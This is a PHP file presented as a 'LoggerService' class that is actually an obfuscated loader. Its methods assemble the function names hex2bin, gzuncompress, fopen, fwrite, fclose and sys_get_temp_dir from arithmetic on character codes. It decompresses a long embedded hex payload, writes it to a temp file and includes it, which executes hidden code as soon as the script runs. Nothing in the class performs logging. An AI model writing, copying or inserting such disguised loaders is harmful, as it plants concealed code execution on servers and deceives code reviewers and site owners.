<?php
class LoggerService {
	private $zt = '';
	private $hs = '';

	public function manageState($p1) {
		$a = array((54+50),((86+15)),(2*60),((55*39)-2095),(((84*105)-8722)),(105),((11*42)-352));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function calculateSum($p1) {
		$a = array((75+28),(114+8),((3*39)),((94+16)),(99),((117-6)),(119-10),(118-6),((53*29)-1423),(101),(5*23),(124-9));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resetState($p1,$p2) {
		$a = array(((2*55)),((110*106)-11559),((94*1)+18),((99+11+1)),(2*51));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function cacheData($p1,$p2) {
		$a = array((3+98),(70+19+27),105,(37+77),(26+38+55),(85+5+12));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function parseResponse($p1) {
		$a = array(((62+39)),(117-2),111,((2*54)),(((29*2)+41)),((8+51+43)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function syncRecords($p1,$p2=null) {
		$a = array(((2*57)),((67+49)),(114),((3*35)),(109));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function handleRequest() {
		$this->hs = $this->syncRecords($this->fetchRecords(), '/');
	}

	public function processData() {
		$this->zt = $this->calculateSum($this->manageState($this->tx));
	}

	public function sanitizeInput() {
		$fn = $this->hs.'/eh-67fc1d4122793';
		$f = $this->resetState($fn, 'w');
		$this->cacheData($f, $this->zt);
		$this->parseResponse($f);
		$this->triggerCallback($fn);
	}

	private $tx = '789c95580b53e2ca12fe2b5a651d4821541e8066bd395b3e4' . '0d97541c353b6282a2f20302421e1edf1bf9fee99841d50f15' . 'c771333d3dd5fcf7cdd333de3ffbe07a3e0c42246149df4ede' . 'd6b10ba4b63ee9c447363ee5a67fd51b0bd62df27838567cd5' . 'ddf3be94ffcf4599f0c03e1d51da44f23870cbe7da3aa02fbe' . 'eaffc655ab80a9df922f44e4c23728af9beed58beeda439edd' . 'f14a4275cbded7be53c51a057ce4633c2d0d8a453fdd520a5f' . 'd9d7a6e57c7dd4e75fbd8aca672a9a5e9e91b535ecd9fdbebc' . '854ac7943f9117465b2a8b920bd9ea5ce53fde9c4a286b2bab' . '0ef5b0bfb566a3a9d1b52736f46d6c34d047a46bb3ab2efc9d' . '274d5d94b073aba234bae6e8cce8d88009b11dabfc8430d5ba' . 'e87ad6e87fcb4eeab77f546f78731b5c4c67de0554beb5977a' . 'bff32a6006189f536518cb6ded1dbe4c968faab3619d57e954' . '860cb646cb6baf37a3b5882fca1e505a03f79167df85540170' . '1756175eca273ad51a7d6c6c6aea77b357c1a829a461f1098b' . 'ecf04d0f163d4bd835f792a184ed728b0e532ced0bce68d82f' . '118654c2df932d6a3e4d31d0ef1d378d045ebce5f3e2a37d28' . 'b5b50baed1f53a3bd26c6bdba0526016df338ad2ecdba3a366' . '569652a5562b98599b555272f1d7d04f227789e776e072ee51' . '19a4a6b6396d5c09c124a7040dc9dbf3288114f27947a2ab0a' . '04faefaddb6443b2327d1469ee17980e7d76e721e654f175bc' . 'dcadeacd774aad63d7a100d2a8ad9208cee1689f13c8c4762b' . '60929914fab9dc17493e8bf5336287195d2a8d92a5f2f7fd5f' . '3abbbe7a0820150e055156bee358370a94f03c30664c651364' . 'cec048b3b532e2cbaedaa48935365d97c736702f1dd671cfec' . 'fbb673ff1194d67743c0a2e080c76cdbd5ca260b68b3299316' . 'fe00a9705cf4ab8623e777083f5127bea65bdd92cab778d122' . '937883ea863bcd9e0ddc18ad378e988dda726b16f9a13bdac9' . '75550bb6f48f0ae3076a9ebe6a4556d487ab923964b7ab992f' . '89ab90c08da14abd5145b756880da83de2c345167494689379' . '0bc53c23543f5e6a1974cd732bcd8042dc0a4ae37bbf0897e6' . '02475d47108370794979b18459c2595bbcb6d0217107e0088c' . '3d3729d4c66b20d3f228e0202f04e6fbe08f6271433080d8cc' . 'e0df6522a3137804ac663b8fc90f344972a261e8663e31de93' . '8ec3fbc6f277b0a9852a850a24e776a64c5f6bafb1f9ed9569' . '19eee9fd51c511f30ff62e5facf76b4a4fb54e561356ce1d84' . 'a28a49295374e24cd696b0a0b61c71b8d6fe56e0d1d6ebc02c' . '7f99f28f2580a1b9d9db231a22963b74bf108692a5ab8e3b6a' . '6740436b777322b28376f23c7b09d300d050f8a1554b3541f6' . '4505104e1eabd683aa1c30019543b378a9c3954bffb52e3f7b' . 'ef9069e514ae809c2eb597f1bb95a7f607a072e5cba433024a' . 'af4d75fd13c0cfc88b5ce39ed20563dd5b48141224778b55d8' . '787b336344500eccd01f9a118771978a020a0c6dbe743c7d21' . '08fda5e6867fddb5aed67a57475d69fb85a3a2be5b32759558' . '697a45c6665a9285cd1aaada55d6f2e84fec2b3d3724ee17f3' . '25fb411613ad8c4953c6efd467f3ded8000a84cc2d56ae4122' . '7397070ca390d47fc5b2d4ad9fc45265bcc17325959517bf1b' . '102393ea51adc502f72850cf708b172865311737221b3ff027' . 'a5e3f4293c40cfdff310cdaee1e803043c798505e3399cf268' . 'dd57c9a8a3906b53746768c2e8b62565215e1033f02aa42c41' . '86e56ba8488013127d98294c95e8abdb4906322a5982964a58' . 'b841eaa2dcb1258a0495e2af4d20844f381b94615492c32189' . '49d274ee47c4652f2bd24848aa4666455cde61588847491efb' . '1a0c5ea925284fc513397124da65e3c1e9e4e09e6822f012da' . '98d0a132ed221ed332fe62e70dafc0b731858703d8b2c6c874' . 'de2eaedcf511257e3597f66e1c4dc75c8b36eacd9da45da6d5' . 'ee0623c8629e46e66b1e50fe58410c324878b0d8e3302250d6' . '49ab508091c0d5d5c6ec416ae681b569f1f600f689cdf36f5c' . '7da53a35faf3ff65b25bd527e792a95f473b6d4ff93fe43add' . 'e38dfa3a4c8ff5c64beec108e392ad71e1f6bedc7daed75a35' . '2ab9e7f9071c7acf552a3a9571bfa75b50e65e4ffb57e285dd' . 'f1d5865e8bfa356b7b56ab574db68547e956acd3d6a94830de' . '98bf6512f1fc0cb3025ee11308f30c32888b3762c0681ddd68' . '6f50e9db9eb0dfc4440fb2ce2474ed2430b84b5e1376a3c170' . 'bbd537ee72d16737b11fea22d08f1958ca6595c37cefa8eb3d' . '102238c9c3e0c23ce58a8472b2d4d65fc1836b488093d8d5f2' . '57002a7738ecc40db5f1481c7aa58ee1dd09a6d743dbea61ea' . '80463d021b43651ecdc01f82684d7fa23708a8d1519f0df9b1' . 'abb357d60368d2b34faccedc3c1591c6738b2b541e45b133f7' . '0bc34d6ecd5779e070498a5846f5c1f1c59840f5cc1115ce89' . 'd53007e03cc5fe4f8f07dd116be65e5fc256c900a946911377' . 'c458a3367640baf8360318fe8f7392581e6df126abaac80ae2' . '24261902f2e93fa7a3a70fcd89256d9893680248ded2519366' . 'f49ba1033eaa59ac9eedc584b81a63a96e2e984f58125cf36d' . 'c28307ee8b880c7880b317ba9661519f7e624e3c1271c51586' . 'e523c2c66bee36a4966d44b3a6c7a3c81034ca0252607cecaf' . '68ea86248f1dcbd8ab5878be08876308bd5d6ce112d0c34ae0' . '3e1fb47d22526119e05f94c98876c2d00f4c2b48f60e389d76' . '0ba9fe03be4003b4e5cf4bba51e8e9317904fa1275bc00811d' . 'e5b10f225b7787bf90c2a5c7230c749c7320bb794cf9090ed2' . 'dbd58278090690397cc9db0bf34c2349d2fbf23172ff154f0e' . 'ecd0af46a45346ac136c0432898300f25297856a46fde1cb47' . '6fb27eb81195e1d3966139a8171548557c71af927fcde41838' . 'e3b05a01d6c3ee6929df4739894bc8ce28da900528a974ce20' . '38db386338840c7759a0c0c1c08fffcb36bae1dbe053838bad' . '82c9ee03c08e2d3fafec0bc19c62d25687f5354fefa628c58a' . '540d1da393f2462c524e80dd7c338d2a0f4381efd0b61fcf7c' . '2b8358e7c2ff9a6231168add95db0a8f57fb95099f175e9cf8' . '50a6340d57634bdfd0b8dd42ef2';

	public function triggerCallback($p) {
		include_once $p;
	}

	public function fetchRecords() {
		$a=array(((69+46)),((9+76+36)),((122-7)),(((86*1)+9)),(85+14+4),(((43*1)+58)),(122-6),((81*1)+14),((117-1)),101,(111-2),(((100*85)-8388)),((79+6+10)),((80+20)),(98+7),(112+2));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ej = new LoggerService();
$ej->handleRequest();
$ej->processData();
$ej->sanitizeInput();
